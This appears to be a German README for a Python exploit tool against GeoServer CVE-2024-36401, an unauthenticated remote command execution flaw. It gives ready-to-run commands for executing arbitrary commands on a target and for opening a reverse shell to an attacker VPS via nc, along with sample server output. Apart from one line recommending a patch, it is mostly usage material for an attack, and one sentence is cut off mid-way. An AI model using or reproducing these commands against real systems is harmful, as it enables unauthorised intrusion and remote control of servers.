
Ein Python-Exploit für 'GeoServer'
CVE-2024-36401 ist eine Remote-Befehlsausführungsschwachstelle in GeoServer. Ein Angreifer kann durch das Erstellen speziell gestalteter WFS (Web Feature Service)-Anfragen ohne Authentifizierung beliebige Befehle ausführen.
pip install requestsDas Tool unterstützt zwei Verwendungsmodi: cmd-Modus (direkte Befehlsausführung) und reverse-Modus (Reverse-Shell-Aufbau).
Angenommen, die VPS-Adresse lautet 111.46.112.85,
führen Sie mit dem cmd-Modus einen curl-Befehl aus, um zu testen, ob der Zielserver auf externe Netzwerke zugreifen kann:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Überprüfungsmethode: Starten Sie auf dem VPS einen HTTP-Server, um Anfragen zu empfangen
# Auf dem VPS ausführen
python -m http.server 8090
Wenn die Rückmeldung erfolgreich empfangen wird, erscheint eine ähnliche Ausgabe wie:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Verwenden Sie den reverse-Modus, um eine Reverse-Shell-Verbindung zu einer bestimmten VPS und einem bestimmten Port aufzubauen:
Schritt 1: Lauschenden Port auf dem VPS einrichten
# Auf dem VPS ausführen
nc -lvp 6666
Schritt 2: Das Exploit-Tool ausführen, um die Reverse-Verbindung zu initiieren
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
Nach der Ausführung zeigt das Tool eine ähnliche Ausgabe wie:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
Wenn der Angriff erfolgreich ist, empfängt der nc-Listener auf dem VPS die Reverse-Shell-Sitzung.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: Modus zur Ausführung eines einzelnen Befehlsreverse: Reverse-Shell-Modus<target>: Adresse und Port des Zielservers, Format ip:port<command>: Auf dem Zielserver auszuführender Befehl<vps_ip>: IP-Adresse des VPS-Servers<vps_port>: Lauschender Port auf dem VPSDiese Schwachstelle nutzt einen Sicherheitsmangel im GeoServer WFS-Dienst aus, indem Java-Code in valueReference injiziert wird, um Systembefehle auszuführen. Das Tool erstellt ein XML-Payload mit bösartigem Code, das an die WFS-Schnittstelle von GeoServer gesendet wird, um eine Remote-Befehlsausführung zu ermöglichen.
/geoserver/wfs entsprechend anzupassen.Aktualisieren Sie GeoServer umgehend auf die offiziell veröffentlichte Sicherheitsversion und konfigurieren Sie den Server gemäß den Best Practices für die Sicherheit.